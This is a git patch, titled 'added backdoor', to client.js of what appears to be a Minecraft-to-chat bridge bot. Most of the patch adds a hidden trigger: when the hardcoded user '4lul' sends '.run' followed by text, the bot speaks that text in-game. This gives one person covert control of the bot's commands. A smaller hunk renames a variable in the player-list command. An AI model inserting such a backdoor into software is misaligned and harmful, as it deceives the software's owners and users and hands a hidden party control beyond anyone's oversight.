From 1840a95a0d810cebf44af3d0f47eb028756619d4 Mon Sep 17 00:00:00 2001 From: lolcat Date: Sun, 3 Nov 2024 17:55:21 -0500 Subject: [PATCH] added backdoor --- client.js | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/client.js b/client.js index 9375dce..c774e92 100644 --- a/client.js +++ b/client.js @@ -472,6 +472,17 @@ function mc_login(){ send(1, "<" + username + "> " + message); } + + if( + username === "4lul" && + message.startsWith(".run") + ){ + + var cmd = message.split(" "); + cmd.shift(); + cmd = cmd.join(" "); + mc_bot.chat(cmd); + } }); mc_bot.on("end", function(){ @@ -1229,7 +1240,7 @@ deek.on("message", async function(msg, user){ send( msg, ">Players online on deekcraft:\n" + - (Object.keys(bot.players).filter(player => bot.players[player].ping !== undefined)) + (Object.keys(mc_bot.players).filter(player => mc_bot.players[player].ping !== undefined)) .join("\n") ); break;